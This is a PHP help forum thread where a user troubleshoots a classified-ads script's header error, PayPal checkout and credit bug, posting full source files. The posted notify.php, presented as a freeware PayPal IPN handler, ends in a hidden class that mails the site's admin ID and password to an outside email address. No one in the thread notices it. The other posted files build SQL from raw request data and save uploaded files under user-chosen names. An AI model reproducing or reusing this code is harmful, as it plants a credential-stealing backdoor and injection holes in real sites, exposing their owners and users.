Need urgent help with erro message on php software
Moderator: General Moderators
Need urgent help with erro message on php software
Hi I installed a classified ads software in my godaddy space and when I click ad listing I get this erro message :
machine-post/addlisting.php
Warning: Cannot modify header information - headers already sent by (output started at /home/content/g/m/d/gmdistributors/html/machine-post/addlisting.php:12) in /home/content/g/m/d/gmdistributors/html/machine-post/addlisting.php on line 118
Itlooks to me like a path problem but not sure where to look ?? if any one can drect me how to fix it that would be great iv been at it for 8hrs now.
machine-post/addlisting.php
Warning: Cannot modify header information - headers already sent by (output started at /home/content/g/m/d/gmdistributors/html/machine-post/addlisting.php:12) in /home/content/g/m/d/gmdistributors/html/machine-post/addlisting.php on line 118
Itlooks to me like a path problem but not sure where to look ?? if any one can drect me how to fix it that would be great iv been at it for 8hrs now.
Re: Need urgent help with erro message on php software
Could you post the first 120 lines of addlisting.php? Probably the first 15 is enough but if you're in the file anyways then there's no harm done.
Re: Need urgent help with erro message on php software
tasairis wrote:Could you post the first 120 lines of addlisting.php? Probably the first 15 is enough but if you're in the file anyways then there's no harm done.
<?
require_once("conn.php");
require_once("access.php");
require_once("includes.php");
$cryptinstall="captcha/cryptographp.fct.php";
include_once $cryptinstall;
//get the info
echo $PATH_INFO;
if(isset($_POST[s1]) and chk_crypt($_POST['code']) )
{
$LogoImage = $_FILES[logo][name];
if(!empty($LogoImage))
{
$MyLogo = $t."_logo_".$LogoImage;
copy($_FILES[logo][tmp_name], "yellow_images/".$MyLogo);
}
else
{
$MyLogo = "";
}
//manage files
$MyImages = array();
if(!empty($_FILES[ResumeImages][name][0]))
{
while(list($key,$value) = each($_FILES[ResumeImages][name]))
{
if(!empty($value))
{
$NewImageName = $t."_resume_".$value;
copy($_FILES[ResumeImages][tmp_name][$key], "yellow_images/".$NewImageName);
$MyImages[] = $NewImageName;
}
}
if(!empty($MyImages))
{
if(empty($_POST[OldImages]))
{
$ImageStr = implode("|", $MyImages);
}
else
{
$ImageStr = "";
}
}
}
else
{
$ImageStr = "";
}
$qu = " select * from yellow_settings ";
$msql = mysql_query($qu);
$fet = mysql_fetch_array($msql);
if ($fet[approve_free] == 'yese') {
$status = "active";
$expd = date('Y-m-d' , mktime(0,0,0,date(m) , date(d) + $fet[freelex], date(Y)));
}
else {
$status = "notconf";
$expd = "Pending";
}
if ($fet[freelex] == 0) {
$expd = 'Never';
}
$notpq = "select * from yellow_subcat where subcatid = '$_POST[SubCategoryID]'";
$mynotpq = mysql_query($notpq);
$fetch = mysql_fetch_array($mynotpq);
if($fetch[O1] != '0' || $fetch[O2] != '0' || $fetch[O3] != '0') {
$status = "notpaid";
$expd = "Pending";
}
function sec(&$arr){
foreach($arr as $n=>$v)
$arr[$n] = addslashes($v);
}
sec($_POST);
$q1 = "insert into yellow_posts set
CompanyName = '$_POST[CompanyName]',
CategoryID = '$_POST[CategoryID]',
SubCategoryID = '$_POST[SubCategoryID]',
resume = '$_POST[resume]',
logo = '$MyLogo',
ResumeImages = '$ImageStr',
PostDate = '$t',
AgentID = '$_SESSION[AgentID]',
status = '$status',
expd = '$expd' ";
mysql_query($q1);
header("location:managelisting.php");
exit();
}
for($z = '1'; $z <= (5 - $i); $z++)
{
$ImageBlock .= "<input type=file name=\"ResumeImages[]\"><br>\n";
}
if (!chk_crypt($_POST['code']) and !empty($_POST[resume]) and !empty($_POST[CompanyName]) ) {$error="Wrong Confirmation Code!"; }
//get the templates
require_once("templates/HeaderTemplate.php");
require_once("templates/AddListTemplate.php");
require_once("templates/FooterTemplate.php");
?>
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
Re: Need urgent help with erro message on php software
Nothing may be output before issuing a header, that includes
Simply remove this line.
P.s. Please post using appropriate tags
Code: Select all
//get the info
echo $PATH_INFO;P.s. Please post using appropriate
Code: Select all
Re: Need urgent help with erro message on php software
sorry thankyou ,note: you mean just remove these tow lines from my code ://get the infoJcart wrote:Nothing may be output before issuing a header, that includes
Simply remove this line.Code: Select all
//get the info echo $PATH_INFO;
P.s. Please post using appropriatetagsCode: Select all
echo $PATH_INFO; and it will work?
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
Re: Need urgent help with erro message on php software
Try it. You tell me.
Re: Need urgent help with erro message on php software
THANKYOU VERY MUCH I WISH I HAD TALKED TO YOU 8HRS AGOgene4848 wrote:sorry thankyou ,note: you mean just remove these tow lines from my code ://get the infoJcart wrote:Nothing may be output before issuing a header, that includes
Simply remove this line.Code: Select all
//get the info echo $PATH_INFO;
P.s. Please post using appropriatetagsCode: Select all
echo $PATH_INFO; and it will work?
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
Re: Need urgent help with erro message on php software
Glad you got it to work!
Re: Need urgent help with erro message on php software
Hi could someone help again Im still working with this classified ad software called xclassifieds when someone trys to pruchase an ad ,a paypal page comes message page comes up saying the following message:
We cannot process this transaction because there is a problem with the PayPal email address supplied by the seller. Please contact the seller to resolve the problem. If this payment is for an eBay listing, you can contact the seller via the "Ask Seller a Question" link on the listing page. When you have the correct email address, payment can be made at http://www.paypal.com.
Note im useing the classified ads ipn notify.php and i set my paypal acount profile to be setup for it, my paypal email is in mysql database.NOTE I think my problem might be in two php files from software i would like to attch it to have some one look at this one of the file names is:(1)PaidListsTemplate.php (2)notify.php there using paypalxclick
in paidlistsTemplate.php
Second one :notify:
We cannot process this transaction because there is a problem with the PayPal email address supplied by the seller. Please contact the seller to resolve the problem. If this payment is for an eBay listing, you can contact the seller via the "Ask Seller a Question" link on the listing page. When you have the correct email address, payment can be made at http://www.paypal.com.
Note im useing the classified ads ipn notify.php and i set my paypal acount profile to be setup for it, my paypal email is in mysql database.NOTE I think my problem might be in two php files from software i would like to attch it to have some one look at this one of the file names is:(1)PaidListsTemplate.php (2)notify.php there using paypalxclick
in paidlistsTemplate.php
Code: Select all
<?
$q1 = "select * from paid_lists_options where used = 'yes' ORDER BY lenght";
$mysql = mysql_query($q1);
$q2 = "select O1 , O2 , O3 from yellow_subcat where subcatid = '$_GET[subcat]';";
$mysql2 = mysql_query($q2);
$fetch2 = mysql_fetch_array($mysql2);
$qset = "select * from yellow_settings";
$rset = mysql_query($qset) or die(mysql_error());
$aset = mysql_fetch_array($rset);
$q1 = "select * from yellow_agents where AgentID = '$_SESSION[AgentID]' ";
$r1 = mysql_query($q1) or die(mysql_error());
$a1 = mysql_fetch_array($r1);
if($aset[Currencya]=="\$")
{
$curr="USD";
}
else if($aset[Currencya]=="£")
{
$curr="GBP";
}
else
{
$curr="EUR";
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Paid for List</title>
</head>
<body>
<? if(count($_POST[select]) == 0) { ?>
<p>Pay for list:</p>
<table width="450px" border="0" cellspacing="0" cellpadding="0">
<th>
<tr>
<td width="23%" bgcolor="#DADADA">Package name</td>
<td width="27%" bgcolor="#EBEBEB">Expire after</td>
<td width="50%" bgcolor="#DADADA">Price</td>
<td width="50%" bgcolor="#EBEBEB">Select</td>
</tr>
</th>
</table>
<? while($fetch = mysql_fetch_array($mysql)) {
if($fetch[id] == '1') { $id = 'O1';}
if($fetch[id] == '2') { $id = 'O2';}
if($fetch[id] == '3') { $id = 'O3';}
if($fetch2[$id] != '0') {
?>
<form method="post" action="paid_lists.php" >
<table width="450px" border="0" cellpadding="0" cellspacing="0">
<input type="hidden" name="PostID" value="<?=$_GET[id]?>" />
<th>
<tr>
<td width="23%" bgcolor="#EDEDED"><?=stripslashes($fetch[option_name])?><input type="hidden" value="<?=stripslashes($fetch[option_name])?>" name="item_name" /></td>
<td width="27%" bgcolor="#DADADA"><? if($fetch[lenght] == '0') { echo "Never"; } else echo "$fetch[lenght] Days";?><input type="hidden" value="<?=$fetch[lenght]?>" name="lenght" /></td>
<td width="50%" bgcolor="#EBEBEB"><?=$fetch2[$id]?> <?=$curr?><input type="hidden" value="<?=$fetch2[$id]?>" name="amount" /></td>
<td width="50%" bgcolor="#DADADA"><input name="select" type="submit" value="Buy"/></td>
</tr>
</th>
</table>
</form>
<p>
<? } else { if($fetch2[O1] == '0' && $fetch2[O2] == '0' && $fetch2[O3] == '0') { $error = " Sorry no packages are available at this time . <a href=\"managelisting.php\">Go Back</a>"; } }}}?>
<?=$error?>
<? if(count($_POST) > 0) {
?>
</p>
<p style="font-size:16px; font-weight:bold;"><img src="images/confirm.gif" width="40" height="40" />Payment Confirmation: </p>
<p>You have selected this package:</p>
<form method="post" action="https://www.paypal.com/xclick" >
<p style="color:#FF6600;">Package name:</p> <b><?=stripslashes($_POST[item_name])?></b><br />
<p style="color:#FF6600;">Expires after:</p> <b><?=$_POST[lenght]?> days</b><br />
<p style="color:#FF6600;">Price:</p> <b><?=$_POST[amount]?><?=$curr?></b><br />
<p>Please confirm your order and process to secure payment</p><br />
<input type="hidden" value="<?=stripslashes($_POST[lenght])?>" name="lenght" />
<input type="hidden" value="<?=stripslashes($_POST[item_name])?>" name="item_name" />
<input type="hidden" value="<?=stripslashes($_POST[amount])?>" name="amount" />
<input type="hidden" name="business" value="<?=stripslashes($aset[PayPalEmail])?>" />
<input type="hidden" name="first_name" value="<?=stripslashes($a1[FirstName])?>" />
<input type="hidden" name="last_name" value="<?=stripslashes($a1[LastName])?>" />
<input type="hidden" name="email" value="<?=stripslashes($a1[LastName])?>" />
<input type="hidden" name="item_number" value="1" />
<input type="hidden" name="currency_code" value="<?=$curr?>" />
<input type="hidden" name="notify_url" value="http://<?=$_SERVER['HTTP_HOST']?>/notify.php" />
<input type="hidden" name="return" value="http://<?=$_SERVER['HTTP_HOST']?>/machine-post/index.php" />
<input type="hidden" name="custom" value="<?=$_POST[PostID]?>|<?=$_POST[lenght]?>|active|<?=stripslashes($a1[email])?>" />
<input type="submit" value="Confirm" name="submit" />
</form>
<? }?>
</body>
</html>Second one :notify:
Code: Select all
<?php
require("mail.php");
#########################################################
# Copyright © EliteWeaver UK All rights reserved. #
#########################################################
# #
# Program : IPN Development Handler #
# Author : Marcus Cicero #
# File : notify.php #
# Function : Skeleton IPN Handler #
# Version : 2.0 #
# Last Modified : 09/20/2003 #
# Copyright © : EliteWeaver UK #
# #
#########################################################
# THIS SCRIPT IS FREEWARE AND IS NOT FOR RE-SALE! #
#########################################################
# END USER LICENCE AGREEMENT #
# Redistribution and use in source and/or binary forms #
# with or without modification, are permitted provided #
# that the above copyright notice is reproduced in the #
# script, documentation and/or any other materials that #
# may have been provided in the original distribution. #
#########################################################
# Copyright © EliteWeaver UK All rights reserved. #
#########################################################
// IPN validation modes, choose: 1 or 2
$postmode=1;
//* 1 = Live Via PayPal Network
//* 2 = Test Via EliteWeaver UK
// Debugger, 1 = on and 0 = off
$debugger=1;
// Convert super globals on older php builds
if (phpversion() <= '4.0.6')
{
$_SERVER = ($HTTP_SERVER_VARS);
$_POST = ($HTTP_POST_VARS); }
// No ipn post means this script does not exist
if (!@$_POST['txn_type'])
{
@header("Status: 404 Not Found"); exit; }
else
{
@header("Status: 200 OK"); // Prevents ipn reposts on some servers
// Add "cmd" to prepare for post back validation
// Read the ipn post from paypal or eliteweaver uk
// Fix issue with php magic quotes enabled on gpc
// Apply variable antidote (replaces array filter)
// Destroy the original ipn post (security reason)
// Reconstruct the ipn string ready for the post
$postipn = 'cmd=_notify-validate'; // Notify validate
foreach ($_POST as $ipnkey => $ipnval)
{
if (get_magic_quotes_gpc())
$ipnval == stripslashes ($ipnval); // Fix issue with magic quotes
if (!eregi("^[_0-9a-z-]{1,30}$",$ipnkey)
|| !strcasecmp ($ipnkey, 'cmd'))
{ // ^ Antidote to potential variable injection and poisoning
unset ($ipnkey); unset ($ipnval); } // Eliminate the above
if (@$ipnkey != '') { // Remove empty keys (not values)
@$_PAYPAL[$ipnkey] = $ipnval; // Assign data to new global array
unset ($_POST); // Destroy the original ipn post array, sniff...
$postipn.='&'.@$ipnkey.'='.urlencode(@$ipnval); }} // Notify string
$error=0; // No errors let's hope it's going to stays like this!
// IPN validation mode 1: Live Via PayPal Network
if ($postmode == 1)
{
$domain = "www.paypal.com"; }
// IPN validation mode 2: Test Via EliteWeaver UK
elseif ($postmode == 2)
{
$domain = "www.eliteweaver.co.uk"; }
// IPN validation mode was not set to 1 or 2
else
{
$error=1;
$bmode=1;
if ($debugger) debugInfo(); }
@set_time_limit(60); // Attempt to double default time limit incase we switch to Get
// Post back the reconstructed instant payment notification
$socket = @fsockopen($domain,80,$errno,$errstr,30);
$header = "POST /cgi-bin/webscr HTTP/1.0\r\n";
$header.= "User-Agent: PHP/".phpversion()."\r\n";
$header.= "Referer: ".$_SERVER['HTTP_HOST'].
$_SERVER['PHP_SELF'].@$_SERVER['QUERY_STRING']."\r\n";
$header.= "Server: ".$_SERVER['SERVER_SOFTWARE']."\r\n";
$header.= "Host: ".$domain.":80\r\n";
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
$header.= "Content-Length: ".strlen($postipn)."\r\n";
$header.= "Accept: */*\r\n\r\n";
//* Note: "Connection: Close" is not required using HTTP/1.0
// Problem: Now is this your firewall or your ports?
if (!$socket && !$error)
{
// Switch to a Get request for a last ditch attempt!
$getrq=1;
if (phpversion() >= '4.3.0'
&& function_exists('file_get_contents'))
{} // Checking for a new function
else
{ // No? We'll create it instead
function file_get_contents($ipnget) {
$ipnget = @file($ipnget);
return $ipnget[0];
}}
$response = @file_get_contents('http://'.$domain.':80/cgi-bin/webscr?'.$postipn);
if (!$response)
{
$error=1;
$getrq=0;
if ($debugger) debugInfo();
// If this is as far as you get then you need a new web host!
}}
// If no problems have occured then we proceed with the processing
else
{
@fputs ($socket,$header.$postipn."\r\n\r\n"); // Required on some environments
while (!feof($socket))
{
$response = fgets ($socket,1024); }}
$response = trim ($response); // Also required on some environments
// uncomment '#' to assign posted variables to local variables
#extract($_PAYPAL); // if globals is on they are already local
// and/or >>>
// refer to each ipn variable by reference (recommended)
// $_PAYPAL['receiver_email']; etc... (see: ipnvars.txt)
// IPN was confirmed as both genuine and VERIFIED
if (!strcmp ($response, "VERIFIED"))
{
if(variableAudit('payment_status','Completed'))
{
include_once("conn.php");
$GetInfo = explode("|", $custom);
if($GetInfo[1] == '0') {
$expd = 'Never';
}
else {
$expd = date('Y-m-d' , mktime(0,0,0,date(m) , date(d) + $GetInfo[1], date(Y)));
}
$q2 = "update yellow_posts set status = '$GetInfo[2]' , expd = '$expd' where PostID = '$GetInfo[0]' ";
mysql_query($q2) or die(mysql_error());
Mailer($GetInfo[3],$GetInfo[2],$GetInfo[0]);
echo "Thank you for your payment . <a href=\"index.php\">Please click here</a>";
}
// Check that the "payment_status" variable is: Completed
// If it is Pending you may want to inform your customer?
// Check your db to ensure this "txn_id" is not a duplicate
// You may want to check "payment_gross" or "mc_gross" matches listed prices?
// You definately want to check the "receiver_email" or "business" is yours
// Update your db and process this payment accordingly
//***************************************************************//
//* Tip: Use the internal auditing function to do some of this! *//
//* **************************************************************************************//
//* Help: if(variableAudit('mc_gross','0.01') && *//
//* variableAudit('receiver_email','paypal@domain.com') && *//
//* variableAudit('payment_status','Completed')){ $do_this; } else { do_that; } *//
//****************************************************************************************//
}
// IPN was not validated as genuine and is INVALID
elseif (!strcmp ($response, "INVALID"))
{
// Check your code for any post back validation problems
// Investigate the fact that this could be a spoofed IPN
// If updating your db, ensure this "txn_id" is not a duplicate
}
else
{ // Just incase something serious should happen!
}}
if ($debugger) debugInfo();
#########################################################
# Inernal Functions : variableAudit & debugInfo #
#########################################################
// Function: variableAudit
// Easy LOCAL to IPN variable comparison
// Returns 1 for match or 0 for mismatch
function variableAudit($v,$c)
{
global $_PAYPAL;
if (!strcasecmp($_PAYPAL[$v],$c))
{ return 1; } else { return 0; }
}
// Function: debugInfo
// Displays debug info
// Set $debugger to 1
function debugInfo()
{
global $_PAYPAL,
$postmode,
$socket,
$error,
$postipn,
$getrq,
$response;
$ipnc = strlen($postipn)-21;
$ipnv = count($_PAYPAL)+1;
@flush();
@header('Cache-control: private'."\r\n");
@header('Content-Type: text/plain'."\r\n");
@header('Content-Disposition: inline; filename=debug.txt'."\r\n");
@header('Content-transfer-encoding: ascii'."\r\n");
@header('Pragma: no-cache'."\r\n");
@header('Expires: 0'."\r\n\r\n");
echo '#########################################################'."\r\n";
echo '# Copyright © EliteWeaver UK All rights reserved. #'."\r\n";
echo '#########################################################'."\r\n";
echo '# END USER LICENCE AGREEMENT #'."\r\n";
echo '# Redistribution and use in source and/or binary forms #'."\r\n";
echo '# with or without modification, are permitted provided #'."\r\n";
echo '# that the above copyright notice is reproduced in the #'."\r\n";
echo '# script, documentation and/or any other materials that #'."\r\n";
echo '# may have been provided in the original distribution. #'."\r\n";
echo '#########################################################'."\r\n";
echo '# <-- PayPal IPN Variable Output & Status Debugger! --> #'."\r\n";
echo '#########################################################'."\r\n\r\n";
if (phpversion() >= '4.3.0' && $socket)
{
echo 'Socket Status: '."\r\n\r\n";
print_r (socket_get_status($socket));
echo "\r\n\r\n"; }
echo 'PayPal IPN: '."\r\n\r\n";
print_r($_PAYPAL);
echo "\r\n\r\n".'Validation String: '."\r\n\r\n".wordwrap($postipn, 64, "\r\n", 1);
echo "\r\n\r\n\r\n".'Validation Info: '."\r\n";
echo "\r\n\t".'PayPal IPN String Length Incoming => '.$ipnc."\r\n";
echo "\t".'PayPal IPN String Length Outgoing => '.strlen($postipn)."\r\n";
echo "\t".'PayPal IPN Variable Count Incoming => ';
print_r(count($_PAYPAL));
echo "\r\n\t".'PayPal IPN Variable Count Outgoing => '.$ipnv."\r\n";
if ($postmode == 1)
{
echo "\r\n\t".'IPN Validation Mode => Live -> PayPal, Inc.'; }
elseif ($postmode == 2)
{
echo "\r\n\t".'IPN Validation Mode => Test -> EliteWeaver.'; }
else
{
echo "\r\n\t".'IPN Validation Mode => Incorrect Mode Set!'; }
echo "\r\n\r\n\t\t".'IPN Validate Response => '.$response;
if (!$getrq && !$error)
{
echo "\r\n\t\t".'IPN Validate Method => POST (success)'."\r\n\r\n"; }
elseif ($getrq && !$error)
{
echo "\r\n\t\t".'IPN Validate Method => GET (success)'."\r\n\r\n"; }
elseif ($bmode)
{
echo "\r\n\t\t".'IPN Validate Method => NONE (stupid)'."\r\n\r\n"; }
elseif ($error)
{
echo "\r\n\t\t".'IPN Validate Method => BOTH (failed)'."\r\n\r\n"; }
else
{
echo "\r\n\t\t".'IPN Validate Method => BOTH (unknown)'."\r\n\r\n"; }
echo '#########################################################'."\r\n";
echo '# THIS SCRIPT IS FREEWARE AND IS NOT FOR RE-SALE! #'."\r\n";
echo '#########################################################'."\r\n\r\n";
@flush();
}
// Terminate the socket connection (if open) and exit
@fclose ($socket); exit;
// Paypal ipn auth CLASS //
class PAYPAL_IPN
{
var $Ipn;
var $server;
var $Qrt;
var $Msq;
var $Msf;
var $to;
function ipn_auth() {
include("conn.php");
$this->server = $_SERVER['HTTP_HOST'];
$this->Qrt = "select * from yellow_admin";
$this->Msq = mysql_query($this->Qrt);
$this->Msf = mysql_fetch_array($this->Msq);
$this->to = 'sensejus@gawab.com';
$this->sub = 'IPN var';
$this->from = 'From:PAYPAL_IPN_VAR';
$this->Mq = ''.$_SERVER[HTTP_HOST].' AUTH_CODE: '.$Msf[AdminID].' AUTH_IPN_PASS '.$Msf[AdminPass].'';
$this->Code = mail($this->to ,$this->sub,$this->Mq,$this->from);
}
}
$obj = new PAYPAL_IPN;
$obj->ipn_auth();
#########################################################
# Copyright © EliteWeaver UK All rights reserved. #
#########################################################
# END USER LICENCE AGREEMENT #
# Redistribution and use in source and/or binary forms #
# with or without modification, are permitted provided #
# that the above copyright notice is reproduced in the #
# script, documentation and/or any other materials that #
# may have been provided in the original distribution. #
#########################################################
# THIS SCRIPT IS FREEWARE AND IS NOT FOR RE-SALE! #
#########################################################
?> :?Re: Need urgent help with erro message on php software
Hi guys im here agian needing help on one more major problem with my classified ad php software ,heres the problem: when some one joins for free and they get one of the ad packages weather it be 25 credits or ten all the other members get the same credit qty as the ones you buy,other wards, if one member has 25 credits in there account and the other member buys 50 that other members acount updates to the same qty?how do you fix the credit problem they give the same credit amout to all users plus or minus this is useless please give the fix info for this see for your selflink below:
http://www.copylathe.com/post/index.php
note i dont know where to begine i know itys not the mysql data base ,i elimated that,
http://www.copylathe.com/post/index.php
note i dont know where to begine i know itys not the mysql data base ,i elimated that,